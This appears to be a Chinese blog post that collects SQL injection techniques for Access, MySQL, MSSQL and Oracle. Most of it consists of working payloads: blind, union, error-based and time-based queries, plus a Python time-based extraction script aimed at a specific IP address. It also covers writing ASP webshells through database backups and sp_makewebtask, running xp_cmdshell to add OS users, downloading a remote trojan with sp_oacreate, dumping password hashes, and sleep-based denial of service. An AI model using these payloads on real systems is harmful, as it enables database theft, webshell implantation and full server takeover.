1. 程式人生 > >關於SQL注入的總結

關於SQL注入的總結

雖然回家了,但是精神上一直病懨懨的,莫名其妙,搞了一學期的滲透,把經驗總結一下,珠海估計去不成了,好好待在家休養生息也好。

首先搭一個簡單的環境IIS7+MYSQL+ACCESS+MSSQL

環境配置:

因為裝的是64位的win7所以環境配置上有一些麻煩。

ACCESS:(1)修改應用程式池高階設定,啟用32為應用程式設定為TRUE (2)C:\Windows\SysWOW64\odbcad32.exe  32位資料來源配置程式

MYSQL:   (1)安裝相應X64驅動即可

        MSSQL:   (1)在SQL Server Configuration Manager中開啟TCP/IP等協議,關閉VIA協議

連線方式:

ODBC連結

access "Driver={microsoft access driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass;" dBase  "Driver={microsoft dbase driver(*.dbf)};driverid=277;dbq=------------;" 
Oracle  "Driver={microsoft odbc for oracle};server=oraclesever.world;uid=admin;pwd=pass;" 
MSSQL server "Driver={sql server};server=servername;database=dbname;uid=sa;pwd=pass;" 
MS text  "Driver={microsoft text driver(*.txt; *.csv)};dbq=-----;extensions=asc,csv,tab,txt;Persist SecurityInfo=false;" 
Visual Foxpro "Driver={microsoft Visual Foxpro driver};sourcetype=DBC;sourceDB=*.dbc;Exclusive=No;" 
MySQL "Driver={mysql};database=yourdatabase;uid=username;pwd=yourpassword;option=16386;"

OLEDB連結

access "Provider=microsoft.jet.oledb.4.0;data source=your_database_path;user id=admin;password=pass;" 
Oracle "Provider=OraOLEDB.Oracle;data source=dbname;user id=admin;password=pass;" 
MS SQL Server "Provider=SQLOLEDB;data source=machinename;initial catalog=dbname;userid=sa;password=pass;" 
MS text  "Provider=microsof.jet.oledb.4.0;data source=your_path;Extended Properties'text;FMT=Delimited'"


ACCESS資料庫:

測試頁面程式碼

<%
	dim db 
	const DatabaseType="ACCESS"     
	db="Database.accdb"           
	dim ConnStr
	dim conn
	ConnStr = "provider=microsoft.ace.oledb.12.0;Data Source=" & Server.MapPath(db)
	Set conn = Server.CreateObject("ADODB.Connection")
	conn.Open connstr

  	id =request("id")

	set rs=server.CreateObject("adodb.recordset") 
	sql="select * from [user] where id=" & id
	response.write sql & "<br>"

	rs.open sql,conn,1,1
	do while not rs.eof
		response.write rs("id")
		response.write rs("name")
		response.write rs("pass")
		response.write "<br>"
		rs.movenext
	loop
	conn.close
	set rs=nothing
	set conn=nothing
%>

語法支援

註釋符            

ACCESS沒有內建的註釋符,但在沒有過濾的情況下可以使用%00來當做註釋符。

關鍵字轉義符

中括號

多句執行       

 不支援

聯合查詢      

  在from後面必須跟一個真實存在的表名,會自動判斷字元與整形,如   union select 1,2,3 from user 不用寫成 union select 1,‘2’,‘3’ from user 可使用 這種形式來判斷欄位數
ordor by n
如果查詢語句是這樣,只能查到,語句中的3個欄位,並不是表的真正欄位數
sql="select id,title,author from [word] where id=" & id
如果是這樣,將是表的真正欄位數
sql="select * from [word] where id=" & id
但是,union的利用只需要知道語句中涉及的欄位數,並不需要表的真正的欄位數

附屬查詢      

  支援 top 與 limint

字串函式    

字串連線%2b   子字串Mid()   字串長度Len()    ASCII值Asc()   Chr()  

時差注入       

 無 

路徑相關        

union select * from haha in '.'
Microsoft Office Access 資料庫引擎無法開啟檔案“C:\Windows\SysWOW64\inetsrv”或無法向其寫入資料。它已經被其他使用者以獨佔方式開啟,或者您沒有檢視或寫入其資料的許可權。
union select * from haha in 'c:\1.txt'
不可識別的資料庫格式 'c:\1.txt'。
union select * from haha in 'c:\2.txt'
找不到檔案 'c:\2.txt'。

系統表  

MSysObjects 儲存所有表名的表,但是一般情況下不能訪問。

系統函式       

 http://office.microsoft.com/zh-cn/access-help/HA010131676.aspx?CTT=1

盲注語句

 and (select count(id) from [user])>0
 and (select top 1 len(id) from [user] where id not in (1))>0
 and (select top 1 asc(mid(user,1,1)) from [user] where id not in (1))>0

 偏移注入      

這個方法多用於ACCESS猜不到欄位名的情況,因為ACCESS不能通過系統表查詢,原理還是使用union查詢 這裡word有8個欄位,user有3個,這裡經過試驗不管星號加在哪,user中的資料都會被排在1,2,3,4,5後面
select * from [word] where id=1 union select 1,2,3,4,5,* from [user]
可以使用內聯查詢來加大user表中欄位的覆蓋範圍
select * from [word] where id=1 union select 1,2,* from ([user] as a inner join [user] as b on a.id=b.id)
下面就是偏移注入的精髓,加入a.id 和 b.id 兩個欄位,來打亂後面的位置,使一些關鍵的欄位更容易顯示出來, 因為a.id b.id 在 * 中出現過,所以不會被計入欄位總數中,但是第二次使用就會被記入了。
select * from [word] where id=1 union select a.id,b.id,1,2,* from ([user] as a inner join [user] as b on a.id=b.id)
由此看來,偏移注入的侷限是很大的,但也不失是一種方法。

 Group by列舉欄位   

 通過報錯來列舉欄位,有兩種情況, 情況一:使用  select id,title,author from [word] 這樣的語句,很簡單就可以爆出欄位
group by 1
試圖執行的查詢中不包含作為聚合函式一部分的特定表示式 'id'
group by id
試圖執行的查詢中不包含作為聚合函式一部分的特定表示式 'title'
group by id,title
試圖執行的查詢中不包含作為聚合函式一部分的特定表示式 'author' 
原理是這樣,使用group by的時候一般需要聚合函式,比如sum()來搭配,程式會按照自前向後來搜尋沒出現在group by之中的欄位,並報錯。 情況二:使用 select * from [word]這樣的語句,只能查詢出第一個欄位
having sum(1)=1
試圖執行的查詢中不包含作為聚合函式一部分的特定表示式 'ID' 
使用having 字句也是可以爆出欄位名的,因為having是和group by搭配使用的 詳細可以看這裡
http://www.myhack58.com/Article/html/3/7/2009/25454.htm

ACCESS 連線 MSSQL 資料庫

select * from [word] where id=1 union select * from [ODBC;Driver=SQLServer;UID=sa;PWD=nihaoa;Server=127.0.0.1;DataBase=master].information_schema.tables

寫檔案

這個不能在子語句或子查詢,只能作為單獨執行。 詳細看這裡http://blog.csdn.net/lake2/article/details/1409132
 SELECT * into [test.txt] in 'd:\web\' 'text;' from admin

沙盒指令 

  ACCESS有一些在沙盒模式下才可以執行的指令
HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode
預設是2.微軟關於這個鍵值的介紹為:
0為在任何所有者中中都禁止起用安全設定,   (在此模式下,可移執行函式)
1為僅在允許的範圍之內,
2則是必須是Access的模式下,
3則是完全開啟,連Access中也不支援.Access也能執行系統命令
可執行檔案將以IIS匿名賬戶執行
如果沙盒模式開啟的話,就會返回這樣的錯誤
Microsoft JET Database Engine 錯誤 '80040e14'
表示式中 'curdir' 函式未定義
and 1=2 union select curdir() from msysaccessobjects
and 1=2 union select dir('c:\ ') from msysaccessobjects
union select environ(1) from msysaccessobjects
union select filedatetime('c:\boot.ini') from msysaccessobjects
union select filelen('c:\boot.ini') from msysaccessobjects
union select getattr('c:\ ') from msysaccessobjects
union select shell('') from msysaccessobjects
 

MYSQL資料庫

測試頁面程式碼

<%
	dim myHost,myDB,myUID,myPWD
	myHost = "localhost"
	myDB = "test"
	myUID = "root"
	myPWD = "nihaoa"
	myChareSet = "gb2312"
	strconnection="driver={mysql odbc 3.51 driver};server=" & myHost & ";database=" & myDB & ";user name=" & myUID & ";password=" & myPWD
	set conn = server.createobject("adodb.connection")
	conn.open strconnection
	

	set rs=server.CreateObject("adodb.recordset") 
	sql="select * from user;"
	rs.open sql,conn,1,1

	do while not rs.eof
		response.write rs("id")
		response.write rs("name")
		response.write rs("pass")
		response.write "<br>"
		rs.movenext
	loop
	conn.close
	set rs=nothing
	set conn=nothing
%>

語法支援

解決亂碼

有時使用union注入時,會出現一些亂碼,如下解決
convert(@@version using latin1)
unhex(hex(@@version))

 註釋符           

井號(#)  雙橫線 (-- )後面要加一個空格   /**/ 區域性註釋      %00 直接截斷字串  ·反引號

關鍵字轉義符

波浪線那個鍵,的那個小點符號- -!
insert into app (name,`key`,secret,status) values ('aa','bb',null,2);

多句執行        

不支援

聯合查詢      

  from後面無需新增表名,會自動判斷字元與整形,如   union select 1,2,3  不用寫成 union select 1,‘2’,‘3’  可使用 order by n來判斷欄位數,用法語ACCESS類似

附屬查詢       

 不支援 top 支援 limint

字串函式  

 字串連線  使用CONCAT()  數字使用加號
mysql> SELECT 1+"1";
    -> 2
mysql> SELECT CONCAT(2,' test');
    -> '2 test'
子字串SUBSTRING(str,pos,len)
mysql> select SUBSTRING('Quadratically',5,6);
    -> 'ratica'
 字串長度Lenhth()    
mysql> slect length('aaa')
    -> 3
ASCII值ASCII()  
mysql> select ASCII('2');
    -> 50
CHAR()將引數解釋為整數並且返回由這些整數的ASCII程式碼字元組成的一個字串。NULL值被跳過。
mysql> select CHAR(77,121,83,81,'76');
    -> 'MySQL'
mysql> select CHAR(77,77.3,'77.3');
    -> 'MMM'
LOCATE(substr IN str)
返回子串substr在字串str第一個出現的位置,如果substr不是在str裡面,返回0.
mysql> select LOCATE('bar', 'foobarbar');
    -> 4
mysql> select LOCATE('xbar', 'foobar');
    -> 0
http://www.cnblogs.com/xiaochaohuashengmi/archive/2010/12/13/1904330.html

時差注入

根據響應時間來判斷,盲注的一種,貌似很雞肋,不過把BenchMark中的count調大的話可以用來DDOS注入
id=1 union select 1,BenchMark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97
測試的時候可以靈活運用make_set來構造,需要保證選定sleep所在的位置sleep才被執行,執行完畢返回0,
make_set(1=1,sleep(10000000000),1)
藍蓮花戰隊寫的一個python利用麼還是很厲害的
from httplib import HTTPConnection

HTTPConnection._http_vsn_str = 'HTTP/1.0'

def post_payload( payload ):
    conn = HTTPConnection( '78.38.193.187' )
    conn.putrequest( 'POST', '/', skip_accept_encoding=True, skip_host=True )
    conn.putheader( 'Content-Type', 'application/x-www-form-urlencoded' )
    conn.putheader( 'Content-Length', str(len(payload)) )
    conn.endheaders( message_body=payload )
    resp = conn.getresponse()
    resp.read()

from urllib import urlencode
from time import time

def get_bool( expression ):
    start = time()
    post_payload( urlencode( dict(
        login = '',
        user_password = ' ',
        user_name = "'OR if(%s,benchmark(1500000,md5(0)),0) AND''='" % expression,
    ) ) )
    end = time()
    print 'Time:', end-start
    return end-start>0.95

def get_bit( expression ):
    return '1' if get_bool( expression ) else '0'

from itertools import count

def get_string( expression ):
    result = ''
    for i in count( start=1 ):
        char = ''
        for j in range(8)[::-1]:
            print 'Byte %d, Bit %d,' % (i,j),
            bit = get_bit( 'ascii(substr(%s,%d,1))>>%d&1' % ( expression, i, j ) )
            print bit
            char += bit
        char = int( char, 2 )
        if char == 0: break
        result += chr(char)
    return result

# def get_query( expression ):


# print get_string( 'database()' )
print get_string( '(SELECT IFNULL(CAST(table_name AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x73716c695f6462 LIMIT 0,1)' )
# print get_string( '(SELECT IFNULL(CAST(table_name AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=\'information_shema\' LIMIT 0,1)' )
# print get_string( '(SELECT IFNULL(CAST(COLUMN_NAME AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=\'users\' LIMIT 5,1)' )
# print get_string( '(SELECT CAST(COUNT(*) AS CHAR) FROM users)' )
# print get_string( '@@datadir' )
# print get_string( 'user()' )
# print get_string( 'version()' )


詳細可參見
http://www.4ngel.net/article/49.htm

拒絕服務

使用sleep函式可以讓資料庫阻塞,大體語句如下,之後的mysql請求會被阻塞,直到殺死這條語句。

update test_inj set xx=1 and sleep(9999999999);

order by 引數注入

這種的盲注是比較蛋疼的,一般需要用到mysql的分支控制語句。有if  和 case 兩種。 if 的語法是這樣  x=x 或者是什麼其他複雜的表示式成立時,表示式值為1 ,否則表示式值為2
order by if (ascii(left(user(),1))=107,1,2)

case when 的語法是這樣,比較直觀
order by case when (ascii(left(user(),1))=107 ) then id else null end
盲注的時候至少要知道一個欄位。 還有另外一種方法就是,order by後面可以跟數字,代表第幾個欄位,於是乎可以使用這種方法
order by 1 and (ascii(left(user(),1))=107)
或者,這樣在有些情況下也是可以的
order by xxxxxx, (ascii(left(user(),1))=107)

group by random 報錯

在不能使用union的時候特別好用,直接在注入點後面加and (select)就可以 原理是這樣的,在order by子句中random()函式會被呼叫多次,產生多個值,就會報錯。同理其它會產生多次執行的語句也會報錯。
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times. 
一般語句是這樣構造的,一般為了方便把想要爆出的資料
mysql> select * from article where id = 1 and 
	(select 1 from(
				select count(*),concat(
					(select pass from admin where id =1),
					floor(rand(0)*2)
				)x from information_schema.tables group by x
			)a
	);

ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
簡化了一下,語句as 是別名的語法,其中as可以省略。
select * from te where   
(select 1 from(                         
select count(*),concat(                                
version(),
floor(rand(0)*2)                                
) as x from information_schema.tables group by x                    
) as a      
);

XML函式報錯

mysql5.1提供了,兩個操作XML的函式,通過構造可爆出資料。 ExtractValue
測試語句如下
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
實際測試過程
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
UpdateXml
測試語句
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
實際測試過程
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'

路徑相關

使用load_file('/')在某些linux系統中可以爆出目錄,這個函式和cat函式類似。 另外可以使用搜索引擎來查詢一下被收錄的報錯
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”

如果使用load_file 包含的檔案過大,也有可能引發錯誤爆出絕對路徑。比如包含cmd.exe

讀寫檔案  

這裡要注意一點,盲注的時候使用into outfile會使前面的查詢結果失效,全都寫入到檔案裡,所以頁面不正常顯示並不是失敗了。
select load_file('c:\\2.txt');
select * from user into outfile 'c:\\2.txt';
寫檔案的另一種寫法
select * from te into dumpfile 'c:\\2.php'
讀檔案還有一種比較糾結的方法
mysql>create table a (cmd text); 
mysql>load data infile 'c:\\boot.ini' into table a; 
mysql>select * from a;
在寫一句話的時候為了防止前邊的內容干擾可以這樣寫
select * from user where id=1 and 2=1 union select '一句話' into outfile 'c:\\2.txt';
通常情況下PHP網站會開啟GPC,單引號被轉義的話,自然是什麼都讀不出來, load_file的引數也可以通過一些編碼繞過過濾, outfile的引數不能接0x開頭的或者char開頭的資料,所以比較悲慘 有時load_file讀取的檔案有亂碼,可轉換成16進位制
select hex(load_file('c:\\2.txt'));
select hex(load_file(0x2f));
select hex(load_file(char(10,10,10,10)));

系統變數

mysql的變數呼叫為@xxxxxx這種形式,但是如找不到相應變數不會報錯而是會返回null,根據此特性可繞過一些過濾。 詳細參見
http://blog.csdn.net/wangyi_lin/article/details/9286937#t4

系統函式及常量

函式
database()  schema()  
version()  
user()   session_user()  current_user() current_user   system_user()
host_name()
http://dev.mysql.com/doc/refman/5.1/zh/functions.html 常量  使用show global variables;可列出所有常量
@@version   @@global.version_compile_os
@@HOSTNAME  @@servername


系統表

Mysql是資料庫資訊放在一個叫做  information_schema 的資料庫裡,其中SCHEMATA  TABLES COLUMNS 這幾個表儲存了資料庫,表,以及欄位的資訊
 union select schema_name,1,2 from information_schema.schemata
 union select table_name,1,2 from information_schema.tables where locate(table_name,'user')>0 and table_schema='user' and table_name not in ('abc')
 union select column_name,1,2 from information_schema.columns where locate(column_name,'name')>0 and table_schema='user'and table_name='test'
使用limit的方法
 union all select 1,column_name,3 from information_schema.columns limit 0,1
 union all select 1,column_name,3 from information_schema.columns limit 1,1
 union all select 1,column_name,3 from information_schema.columns where table_name='users' limit 0,1

mysql.user存放了資料庫中所有的使用者資訊,如果是root許可權可以進行讀取
union select 1,user,password from mysql.user
select host,db,name from mysql.db;

盲注語句

普通盲注語句
 and (select count(*) from user)>0
 and (select count(pass) from user)>0
 and ascii(substring((select pass from user limit 0,1),1,1)) >0
文藝盲主語句
 and (select 1 from users limit 0,1)=1
 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80


MSSQL資料庫

測試頁面程式碼

<%
MM_conn_STRING = "Driver={SQL Server};server=(local);uid=sa;pwd=nihaoa;database=test;"
Set conn = Server.Createobject("ADODB.Connection")
conn.open MM_conn_STRING


id =request("id")


set rs=server.CreateObject("adodb.recordset")
sql="SELECT * FROM [user] where id=" & id
rs.open SQL,conn,1,1




do while not rs.eof
response.write rs("id")
response.write rs("name")
response.write rs("pass")
response.write "<br>"
rs.movenext
loop
conn.close
set rs=nothing
set conn=nothing
%>  

語法支援

 註釋符          

 井號(#)  雙橫線 (-- )後面要加一個空格   /**/ 區域性註釋      %00 直接截斷字串

關鍵字註釋符號

中括號

多句執行       

 支援,加一個分號就可以
http://localhost/mssql.asp?id=1;insert%20into%20[user]%20values(3,'haha','wawa')#

聯合查詢       

 from後面無需新增表名,不會自動判斷字元與整形,必須寫成select union 1,'2','3'這樣 無報錯的盲注,先使用null代替,再進行逐步猜測
select union null,null,null

附屬查詢        

支援 top 不支援 limint

字串函式  

length() 返回字串長度 concat() 連線字串 substring() 求子串
charindex ( expression1 , expression2 [ , start_location ] )   查詢字串位置
ASCII() char()

時差注入

使用 BenchMark 和mysql類似

路徑以及檔案

有些系統下,伺服器虛擬根目錄,可能存放於登錄檔的 ,可使用xp_regread讀取到
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots'
使用xp_dirtree過程把結果寫入一個表,再通過SQL語句搜尋來確定網站根目錄,也是可行的方法。 寫檔案的方法有
使用sp_makewebtesk寫入 使用差異備份寫入
1.完整備份一次(儲存位置當然可以改)
backup database 庫名 to disk = 'c:\ddd.bak';--
2.建立表並插曲入資料
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
3.進行差異備份
backup database 庫名 to disk='目標位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
上面
0x3C25657865637574652872657175657374282261222929253E
就是一句話木馬的內容:<%execute(request("a"))%>

使用log增量備份
';alter database null set RECOVERY FULL--          把指定的資料庫啟用為還原模式
';create table cmd (a image)--
';backup log null to disk = 'f:\cmd' with init--
';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--
';backup log null to disk = '備份路徑'--
';drop table cmd--
';alter database XXX set RECOVERY SIMPLE--
PS:0x3C2565786563757465287265717565737428226122292
9253EDA 是一句話小馬16進位制轉來的

系統函式以及常量

常量
select @@ERROR --返回最後執行的 Transact-SQL 語句的錯誤程式碼(integer)
select @@SERVERNAME --返回執行SQL伺服器名稱。
select @@SERVICENAME --返回SQL正在其下執行的登錄檔鍵名
select @@LANGUAGE   --返回當前使用的語言名
select @@version;
select user;
select db_name;
函式
select USER_NAME()    --返回使用者資料庫使用者名稱
select GETDATE() --當前時間
EXEC sp_configure  --顯示當前伺服器的全域性配置設定
select IS_SRVROLEMEMBER('sysadmin') --檢視使用者許可權
許可權種類sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin

儲存過程擴充套件

呼叫儲存過程的時候 master..xp_cmdshell 是  master.dbo.xp_cmdshell 的簡寫 這裡xp 是extended procedure    sp 是system procedure xp_cmdshell 判斷過程是否存在
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
開啟儲存過程
exec sp_configure 'show advanced option', 1;
reconfigure;
exec sp_configure 'xp_cmdshell' , 1;
reconfigure;
執行cmd指令
exec master..xp_cmdshell "net user wyl 123 /add";
移除儲存過程的方法
 exec   master..sp_dropextendedproc   xp_cmdshell   
 exec   master..sp_dropextendedproc   xp_dirtree   
恢復儲存過程的方法
exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' 
exec sp_addextendedproc 'xp_dirtree', 'xpstar.dll' 
詳細http://blog.csdn.net/gz775/article/details/6329817
xp_dirtree  這個函式有三個引數,查詢目錄(可省略),遞迴深度  ,是否顯示檔案。 利用方法一般是,新建一個表然後把結果寫入到其中,在結果集中搜索也可以得到網站根目錄,不過較麻煩
;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--
 
;insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--

xp_regread 這是一個查詢登錄檔的過程,有四個引數宣告如下,最後一個可以省略
declare @directory varchar(200)
EXEC master..xp_regread 
        @rootkey='HKEY_LOCAL_MACHINE',
        @key='SOFTWARE\APPLICATION\SOME_MORE',
        @value_name='DIRECTORY_VALUE',
        @value= @DIRECTORY OUTPUT;
select @directory
可以用來查詢超級終端的埠
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
xp_regwrite
可用來修改登錄檔,開啟沙盤模式,
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE''SOFTWARE\Microsoft\Jet\4.0\Engines''SandBoxMode''REG_DWORD'1 
xp_regread
這裡可配合ACCESS的jet引擎執行命令,這裡的資料庫路徑是系統自帶的,不同版本各有不同
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("net
user test test /add")')
sp_makewebtask 
真是作用是吧查詢結果寫入到檔案內 這個可以用來寫入檔案,最常用的就是寫入一句話了,詳細語法其實很複雜,,不過我們用到兩個函式就好
http://127.0.0.1/xxx.asp?id=123';exec sp_makewebtask 'd:\www\xxx\xxx.asp',' select ''<%execute(request("cn"))%>'' ';--
這個儲存過程預設也是不開啟的,開啟方式與xp_cmdshell相同 sp_addlogin  新增資料庫使用者
exec master.dbo.sp_addlogin test,password 
exec master.dbo.sp_addlogin test,sysadmin

sp_oacreate 可以把遠端的檔案儲存到伺服器,也是寫入檔案的一種方式
DECLARE @B varbinary(8000),@hr int,@http INT,@down INT 
EXEC sp_oacreate [Microsoft.XMLHTTP],@http output  
EXEC @hr = sp_oamethod @http,[Open],null,[GET],[http://www.test.com/muma.txt],0 
EXEC @hr = sp_oamethod @http,[Send],null 
EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output 
EXEC @hr=sp_oacreate [ADODB.Stream],@down output 
EXEC @hr=sp_OASetProperty @down,[Type],1 EXEC @hr=sp_OASetProperty @down,[mode],3 
EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B 
EXEC @hr=sp_oamethod @down,[SaveToFile],null,[e:\www_iis\muma.asp],1
即可下載檔案:http://www.test.com/muma.txt的內容到e:\www_iis\muma.asp成功寫入一個webshell xp_servicecontrol 服務管理,用於啟用或關閉某個服務
;exec master..xp_servicecontrol 'stop','schedule'   //停止計劃任務服務 
;exec master..xp_servicecontrol 'start','schedule' 
;exec master..xp_servicecontrol 'start','server'    //啟動server服務

系統表

msql儲存表名欄位名的資料庫,有兩個一個和mysql一樣, information_schema,利用方法和mysql一樣 sysobjects syscolumns,這兩個表存放於每一個數據庫中。
union all select 1,'2','3' from sysobjects where charindex('admin',name)>0 and xtype='U'
union all select 1,'2','3' from syscolumns where id=object_id('t_zxdc_Admins')--

盲注語句

and (select count(pass) from [user])>0  
and (select count(*) from [user])>0  
and substring((select top 1 pass from [user] ),1,1)>'0'
最後吐槽一下,因為mssql資料庫功能很多,最近在家老是想打LOL所以現在就沒有心情整理下去了,先姑且發上來, MSSQL所有的儲存過程及其函式都可以在這裡找到http://msdn.microsoft.com/zh-cn,祝大家新年快樂。

ORCALE資料庫

語法支援

註釋符

支援  --  /**/  不支援#

關鍵字轉義符

未知~~~(⊙o⊙)~~~

多行執行

不支援

聯合查詢

select 後面 必須要連線一個存在的表通常使用dual,這是一個預設的誰都有許可權的表
select 123 from dual
union select 不能自動判斷型別,必須寫成 union select 1,'2','3' from dual 這樣 判斷時先使用null替代
nuion select null,null,null from dual

附屬查詢

oracle不支援limit,支援一個很奇怪的rownum

SQL> select test.*,rownum from test;

      TIME     ROWNUM
---------- ----------
       123          1
       123          2
       123          3
       123          4
       123          5
如果要確定輸出第幾個記錄的話不能直接使用rownum>xxx
SQL> select * from (select test.*,rownum from test) where rownum>2;

未選定行
需要蛋疼的試用一下這個
SQL> select * from (select test.*,rownum as ron from test) where ron>2;

      TIME        RON
---------- ----------
       123          3
       123          4
       123          5


字串函式

orcale的字串函式,與其他資料庫的字串函式大同小異。 Lower(string)  Upper(string) 這兩個函式是吧字串轉換成大寫或者小寫比較常見。
SQL> select upper('abc') from test;

UPPER(
------
ABC
Initcap(string)這個函式把首字母轉換成大寫
SQL> select initcap('abc') from test;

INITCA
------
Abc
Length(string)統計字串長度
SQL> select length('abc') from test;

LENGTH('ABC')
-------------
            3
Substr(string,start [,count])子字串 
SQL> select substr('abcdefg',2,2) from test;

SUBS
----
bc
Instr(string,set[,start [,occurrence ] ] )查詢子字串
SQL> select instr('abcdaeafg','a',2,2) from test;

INSTR('ABCDAEAFG','A',2,2)
--------------------------
                         7
Chr() Ascii()這兩個函式基本大家都有
SQL> select ascii('F') from test;

ASCII('F')
----------
        70

SQL> select chr(70) from test;

CH
--
F
Concat(string,string)連結兩個字串,也可以使用 || 來替代,這一點是oracle獨有的
SQL> select concat('a','b') from dual;

CONC
----
ab

SQL> select 'a'||'b' from dual;

'A'|
----
ab


路徑相關

獲取log路徑,這個也可以輔助用來判斷系統版本
SQL> select member from v$logfile;

MEMBER
--------------------------------------------------------------------------------

C:\ORACLEXE\APP\ORACLE\FAST_RECOVERY_AREA\XE\ONLINELOG\O1_MF_2_93DVJTM1_.LOG
C:\ORACLEXE\APP\ORACLE\FAST_RECOVERY_AREA\XE\ONLINELOG\O1_MF_1_93DVJPM1_.LOG

系統表及其函式

orcale的表名欄位名也是儲存在,系統預設的表中。儲存這些東西的資料庫叫做sys 查詢所有資料庫
SQL> select distinct owner from all_tables;

OWNER
------------------------------------------------------------
MDSYS
OUTLN
CTXSYS
HR
FLOWS_FILES
SYSTEM
APEX_040000
XDB
SYS
列出當前資料庫還有其他幾種方法
select global_name from global_name; -- current database
select sys.database_name from dual;  -- current database
select name from v$database; -- current database name , need privs
select instance_name from v$instance; -- current database name , need privs
表名儲存在user_table表中,查詢使用的表名一定要用大寫,這裡user_tables所指的是當前使用者下的表, 如果想查詢所有的表使用all_tables
SQL> select table_name from sys.user_tables where table_name like '%TEST%';

TABLE_NAME
------------------------------------------------------------
TEST
欄位的查詢也大同小異
SQL> select column_name from sys.user_tab_columns where table_name='TEST' and column
_name like '%TIME%';

COLUMN_NAME
------------------------------------------------------------
TIME
檢視當前使用者
SQL> select user from dual;

USER
--------------------------------------------------
SYS
也可以使用其他幾種方法來查詢使用者
select user from dual; -- current user
select username from user_users;  -- current user
select username from all_users;   -- all user , the current user can see...
select username from dba_users;   -- all user , need pris
檢視使用者的hash
select name, password, astatus from sys.user$; -- password hash <=10g , need privs
select name, password, spare4 from sys.user$;      -- password has 11g , need privs
查詢相應的許可權
select privilege from user_sys_privs; -- privs the current user has
select privilege from role_sys_privs; -- privs the current role has
select privilege from session_privs;  -- the all privs that current user has = user_sys_privs + role_sys_privs
select * from dba_sys_privs; -- all user's privs , need privs
檢視系統版本
SQL> select banner from sys.v_$version where rownum=1;

BANNER
--------------------------------------------------------------------------

Oracle Database 11g Express Edition Release 11.2.0.2.0 - Production

SQL> select banner from sys.v_$version;

BANNER
--------------------------------------------------------------------------

Oracle Database 11g Express Edition Release 11.2.0.2.0 - Production
PL/SQL Release 11.2.0.2.0 - Production
CORE    11.2.0.2.0      Production
TNS for 32-bit Windows: Version 11.2.0.2.0 - Production
NLSRTL Version 11.2.0.2.0 - Production
獲取伺服器內網IPget_host_name則是獲取主機名
SQL> select utl_inaddr.get_host_address from dual;

GET_HOST_ADDRESS
--------------------------------------------------------------------

192.168.0.110

SQL>
使用SYS_CONTEXT這個函式可以取得很多的系統變數 當前使用者
SQL> select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual;

SYS_CONTEXT('USERENV','CURRENT_USER')
--------------------------------------------------------------------

SYS
其他很多不一一測試
SYS_CONTEXT(‘USERENV’,’TERMINAL’) terminal, 
SYS_CONTEXT(‘USERENV’,’LANGUAGE’) language, 
SYS_CONTEXT(‘USERENV’,’SESSIONID’) sessionid, 
SYS_CONTEXT(‘USERENV’,’INSTANCE’) instance, 
SYS_CONTEXT(‘USERENV’,’ENTRYID’) entryid, 
SYS_CONTEXT(‘USERENV’,’ISDBA’) isdba, 
SYS_CONTEXT(‘USERENV’,’NLS_TERRITORY’) nls_territory, 
SYS_CONTEXT(‘USERENV’,’NLS_CURRENCY’) nls_currency, 
SYS_CONTEXT(‘USERENV’,’NLS_CALENDAR’) nls_calendar, 
SYS_CONTEXT(‘USERENV’,’NLS_DATE_FORMAT’) nls_date_format, 
SYS_CONTEXT(‘USERENV’,’NLS_DATE_LANGUAGE’) nls_date_language, 
SYS_CONTEXT(‘USERENV’,’NLS_SORT’) nls_sort, 
SYS_CONTEXT(‘USERENV’,’CURRENT_USER’) current_user, 
SYS_CONTEXT(‘USERENV’,’CURRENT_USERID’) current_userid, 
SYS_CONTEXT(‘USERENV’,’SESSION_USER’) session_user, 
SYS_CONTEXT(‘USERENV’,’SESSION_USERID’) session_userid, 
SYS_CONTEXT(‘USERENV’,’PROXY_USER’) proxy_user, 
SYS_CONTEXT(‘USERENV’,’PROXY_USERID’) proxy_userid, 
SYS_CONTEXT(‘USERENV’,’DB_DOMAIN’) db_domain, 
SYS_CONTEXT(‘USERENV’,’DB_NAME’) db_name, 
SYS_CONTEXT(‘USERENV’,’HOST’) host, 
SYS_CONTEXT(‘USERENV’,’OS_USER’) os_user, 
